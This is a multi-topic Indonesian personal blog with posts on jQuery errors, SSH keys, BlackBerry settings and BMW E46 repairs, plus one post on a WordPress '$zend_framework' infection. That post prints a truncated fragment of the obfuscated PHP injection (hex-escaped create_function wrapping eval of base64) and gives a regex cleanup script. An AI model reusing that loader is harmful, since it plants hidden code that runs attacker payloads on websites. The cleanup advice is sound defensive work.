Error jQuery has no method ‘curCSS’

Jika anda mengupgrade jQuery anda dan menemukan error seperti ini dalam console log atau firebug anda:

Uncaught TypeError: Object function (e,n){return new x.fn.init(e,n,t)} has no method 'curCSS'

Ini dikarenakan fungsi curCSS semenjak jQuery versi 1.8 dihilangkan.
http://blog.jquery.com/2012/08/09/jquery-1-8-released/
Solusinya cukup mudah. Tambahkan kode berikut dalam javascript anda:

if(!$.isFunction($.fn.curCSS))
$.curCSS = $.css;
$.fn.curCSS = $.fn.css;

Dan violaa!!! error tersebut pun sudah tidak muncul lagi

Posted in jquery Tagged with:

WordPress $zend_framework hacked

Jika situs anda menggunakan WordPress dan tiba-tiba situs anda tidak bisa diakses dan anda menjumpai kode seperti di file-file php anda:

<?php $zend_framework="\x63\162\x65\141\x74\145\x5f\146\x75\156\x63\164\x69\157\x6e"; @error_reporting(0); $zend_framework("", "\x7d\73\x40\145\x76\141\x6c\50\x40\142\x61\163\x65\66\x34\137\x64\145\x63\157\x64\145\x28\42\x4a\107\x56\62YTFmWTJiYWsxY3owaXIgPSAiXHg2NlwxNjVceDZlXDE0M1x4NzRcMTUxXHg2ZlwxNTZceDVmXDE0NVx4NzhcMTUxXHg3M1wxNjRceDczIjsgJGV2YTFmWTJiYWwxY3owaXIgPSAiXHg2ZlwxNDJceDVmXDE2M1x4NzRcMTQxXHg3MlwxNjQiOyAkZXZhMW

Sepertinya WordPress anda dihack. Ini menyerang WordPress versi terbaru 3.5.1. Saya tidak tahu apakah versi lama juga bisa diserang atau tidak. Saat ini solusi yang ada adalah dengan jalan merestore backup. Namun bagaimana jika anda tidak mempunyai file backup? Gunakan script di bawah ini. Beri nama killit.php dan upload di root folder WordPress anda:

<?php
 
$arrFiles = array();
 
function getDirectory( $path = '.', $level = 0, &$arrFiles )
{
    $ignore = array( 'cgi-bin', '.', '..' );
    $dh = @opendir( $path );
 
    while( false !== ( $file = readdir( $dh ) ) ){
        if( !in_array( $file, $ignore ) ){
            $spaces = str_repeat( '&nbsp;', ( $level * 4 ) );
            if( is_dir( "$path/$file" ) ){
                getDirectory( "$path/$file", ($level+1), $arrFiles );
            } else {
                $strFile = $path . "/" . $file;
                $strFile = $path . "/" . $file;
	        $strFile = str_replace("/", "/", $strFile);
	        $strFile = str_replace("//", "/", $strFile);
                if (strpos($strFile, ".php") !== false)
                {
	                $arrFiles[] = $strFile;
                }
            }       
        }
    }
 
    closedir( $dh );
}
 
$blnMakeBackup = true;
 
$strFolderSearch = ".";
$strBackFolderRoot = "backup" . microtime();
 
getDirectory($strFolderSearch, 0, $arrFiles);
 
foreach ($arrFiles as $strFile)
{
	$strDirname = dirname($strFile);
	$strFilename = basename($strFile);
	$strDirname = substr($strDirname, strlen($strFolderSearch), strlen($strFile) - strlen($strFolderSearch));
 
	$strDestFolder = $strDirname;
	$strBackFolder = $strBackFolderRoot . "/" . $strDirname;
 
	if (!empty($strDestFolder) && !is_dir($strDestFolder))
		mkdir($strDestFolder, 0777, true);
	if ($blnMakeBackup && !is_dir($strBackFolder))
		mkdir($strBackFolder, 0777, true);
 
 
  $strContents = file_get_contents($strFile);
 
  if ($blnMakeBackup)
	  file_put_contents($strBackFolder . "/" . $strFilename, $strContents);
 
  $strContents = preg_replace('/<\?php \$zend_framework="\\\\x63\\\\162.*?x2f"\); \?>/s', '', $strContents);
 
  file_put_contents($strFile, $strContents);
}
 
?>

Jangan lupa sebelum menjalankan file ini, backup terlebih dahulu. Gunakan dengan resiko sendiri. Saya tidak bertanggung jawab atas yang permasalahan yang muncul atas penggunaan script tersebut.

Sumber:
http://blog.oomta.com/wordpress-zend_framework-hack-fixed/

Posted in WordPress Tagged with:

Convert Line Ending File PHP ke format Unix


$dos2unix `find . -name *.php -type f`

Posted in Uncategorized

Menggunakan MacPorts

Jika mendapatkan error:
curl: (1) Protocol sftp not supported or disabled in libcurl
maka harus, menginstall curl support ssh:
port install curl +sftp_scp

Posted in OSX Tagged with: ,

Login SSH Tanpa Password

Buat private dan public keys jika belum pernah membuatnya dengan perintah:
$ssh-keygen
Kosongkan password

Untuk OSX, karena tidak terinstall secara default ssh-copy-id, anda bisa menginstallnya secara manual
#curl https://raw.githubusercontent.com/beautifulcode/ssh-copy-id-for-OSX/master/ssh-copy-id.sh -o /usr/local/bin/ssh-copy-id
#chmod +x /usr/local/bin/ssh-copy-id

Copy public key ke remote host:
$ssh-copy-id user@remote-host

Jika menggunakan macports lebih simple:
sudo port install openssh +ssh-copy-id

Atau jika ingin menggunakan spesifik public keys:
$ssh-copy-id -i ~/.ssh/id_rsa.pub user@remote-host

Jika tidak menggunakan standard port (22):
$ssh-copy-id -i ~/.ssh/id_rsa.pub "user@remote-host -p 222"

Silahkan coba login ke remot:
$ssh user@remote-host

Posted in OSX Tagged with:

Config Blackberry Telkomsel

Hapus Service Book:
– WAP2 Transport [WPTCP]
– WAP Push Config [WAPPushConfig]
– WAP BrowserConfig [BrowserConfig]
– Telkomsel WAP [WAP]

Posted in BlackBerry Tagged with:

Switch Blackberry Device

Apakah Anda ingin mengganti handset blackberry Anda dengan yang lain? Lantas bagaimana cara memindahkan data pada handset lama ke yang baru? Untuk images atau document yang ada pada memory card, Anda bisa memindahkan secara manual, tetapi bagaimana denan contact BBM? Apakah juga dengan cara manual menginvite PIN di handsat baru satu-persatu? Rasanya terlalu ribet. Ya, pada handset blackberry Anda terdapat fitur device switch, dimana Anda dapat memindahkan data antar device. Data yang dimaksud disini adalah contact BBM, contact Phonebook, Email. Untuk OS5 dan OS6, Anda harus menggunakan Blackberry Desktop Manager untuk melakukan device switch. Sedangkan untuk OS7, Anda dapat menggunakan memory card sebagai alternatif switch device. Menurut saya, lebih aman menggunakan Blackberry Desktop Manager, akan tetapi jika Anda tidak mempunyai PC/Mac, mau tidak mau Anda harus menggunakan memory card sebagai alternatif device switch. Berikut cara device switch menggunakan memory card.
1. Pada home screen, pilih Setup – Device Switch – Using Media Card – Save Data
2. Jika Anda ingin mentransfer Email juga, beri tanda check pada Save Emails.
3. Buat password yang nantinya akan diperlukan untuk restore.
4. Jika Anda masih ingin mempertahankan operator lama, pindahkan SIM card ke oprator yang baru. Tetapi jika Anda menggunakan operator lain di handset yang lama, Anda sebaiknya unregister paket BIS dulu di handset lama.
5. Pindahkan juga memory card yang telah dibackup ke handset yang baru.
6. Hidupkan handset baru Anda. Pada home screen, pilih Setup – Device Switch – using Media Card – transfer data. Lalu klik continue. Jika muncul promp password, masukkan password yang anda buat sebelumnya ketika membuat backup.
7. Setelah transfer data selesai, pilih “Delete Saved Data” untuk menghapus file backup pada Memory Card Anda untuk menghemat space.
Silahkan komentar di bawah ini jika Anda mempunyai pertanyaan.

Posted in BlackBerry Tagged with:

Mengganti Head Lamp BMW E46

Mengesalkan ketika membawa mobil tiba-tiba head lamp mati pada malam hari. BMW E46 dilengkapi dengan sensor lampu besar, jika mati akan menyala pada indikator dashboard. Jadi bisa terdeteksi lebih dini. Saya selalu membawa head lamp cadangan di bagasi karena fungsinya sangat vital. Untuk jenis lampunya adalah H7. Di pasaran harganya mulai seratus ribuan sepasang. Cukup murah memang. Dan untuk menggantinya pun sangat mudah, tidak perlu menggunakan tools apapun. Berikut langkah-langkah mengganti head lamp nya.
1. Buka kap mesin
2. Buka klip pengunci socket lampu dengan cara menekan klipnya kemudian menarik hingga socket terlepas.
IMG-20121230-00020_800
3. Putar pengunci lampu dengan memutar berlawanan arah jarum jam lalu tarik hingga terlepas
IMG-20121230-00022_800
4. Lepas lampunya dengan cara menarik lalu ganti dengan yang baru.
5. Pasang kembali dengan cara kebalikan dari melepasnya.

Posted in BMW, DIY Tagged with: ,

Mengganti Regulator Window BMW E46

Jadi ceritanya pada jendele sopir mobil BMW E46 saya kawat regulatornya putus, jadi kaca tidak bisa turun. Untunglah kejadiannya disaat kaca tertutup rapat. Coba ketika kaca terbuka, kalau hujan airnya pasti masuk. Kemudian saya membeli spare part regulator windownya. Untuk replacement tali dan roda nya saja, di jerman dihargai sekitar USD42 berikut ongkos kirim. Belum termasuk bes masuknya. Total jatuhnya bisa sekitar Rp 400.000,00. Kemudian saya tanya ke toko spare part untuk regulator window berikut rel nya Rp 500.000,00. Akhirnya saya memutuskan untuk membeli yang berikut rel nya. Disamping tidak perlu menunggu dikirim dari jerman dan tidak perlu repot memasang roda dan kabel-kabelnya. Lalu saya bawa ke bengkel langganan saya. Ternyata semua mekanik sedang sibuk, saya diharuskan menunggu sekitar satu jam. Dulu saya mempunyai mekanik langganan. Saya bisa mengatur jadwal ngebengkel. Semenjak mekanik langganan saya pindah ke Jakarta, saya tidak bisa lagi mengatur jadwal ngebengkel. Akhirnya saya pulang. Lebih baik saya ganti regulator window sendiri. Siapkan obeng minus, kunci T ukuran 8mm, kunci ukuran 10 mm, satu set kunci bintang dan tentu saja spare part regulator window penggantinya.
IMG_4013_800

Berikut langkah-langkah untuk mengganti regulator windownya:
1. Buka aksesoris motif kayu dengan tangan. Tarik pada ujung.
IMG_3994_800
2. Terdapat 2 buah baut. Buka dengan menggunakan kunci bintang.
IMG_3995_800
3. Buka 3 baut yang terdapat pada handle pintu. Dua dibawah, terlebih dahulu buka penutup baut dengan menggunakan tangan atau obeng minus jika kesulitan. Dan satu lagi terdapat di dalam tombol pengatur spion. Terlebih dahulu lepas tombol dengan menggunakan obeng minus. Lalu lepas soket-soketnya. Terlihat satu buah baut di dalamnya. Buka dengan menggunakan kunci bintang.
IMG_3996_800
IMG_3998_800
4. Buka door trim. Caranya tarik pada bagian bawah door trim perlahan sampai atas sampai door trim terlepas semua. Lepas kabel pembuka pintu, lalu lepas semua soket-soketnya.
5. Lepas sekat penutup door trim.
IMG_4001_800
6. Lepas soket motor power window dan lepas motor power window dengan menggunakan kunci bintang.
IMG_4009_800
7. Turunkan kaca perlahan sampai terlihat baut pemegang kaca ke regulator. Lepas kedua baut dengan menggunakan kunci T ukuran 8 mm. Angkat kembali kaca sampai mentok ke atas. Pegang kacanya agar tidak turun.
IMG_4004_800

IMG_4003_800
IMG_4005_800
8. Buka kelima baut regulator window dengan menggunakan kunci ukuran 10 mm kemudian tarik regulatornya keluar.
IMG_4002_800
9. Pasang regulator baru. Untuk pemasanganya kebalikan dari cara melepasnya.

Posted in BMW, DIY Tagged with: ,

Mengganti Washer Pump E46

Mobil BMW memang dikenal praktis dalam penggantian spare part. Tidak seperti bayangan orang-orang bahwa sparepart mobil BMW mahal dan tidak semua bengkel bisa menanganinya. Untuk mengganti washer pump saja, tidak diperlukan tools apapun. Cukup sediakan spare part washer pump penggantinya saja. Harganya pun cukup terjangkau. Yang original sekitar Rp 300.000,00 dan yang imitasi sekitar Rp 90.000,00. Saya rasa tidak masalah jika ingin menggunakan spare part imitasi untuk washer pump ini.
IMG_4014_800
Berikut langkah-langkahnya :
1. Buka kap mesin
2. Lepas soket washer pump. Caranya tekan pin pengunci lalu tarik soketnya.
20121215-010349.jpg
3. Lepas selang washer pump.
4. Putar washer pump searah jarum jam 90 derajat lalu tarik washer pum nya hingga terlepas.
6. Pasang washer pump yang baru dengan cara kebalikan dari melepasnya.
7. Dan viollaaa!!!! Air pun mancur kembali
IMG_4020_800
Cukup mudah bukan?

Posted in BMW, DIY Tagged with: ,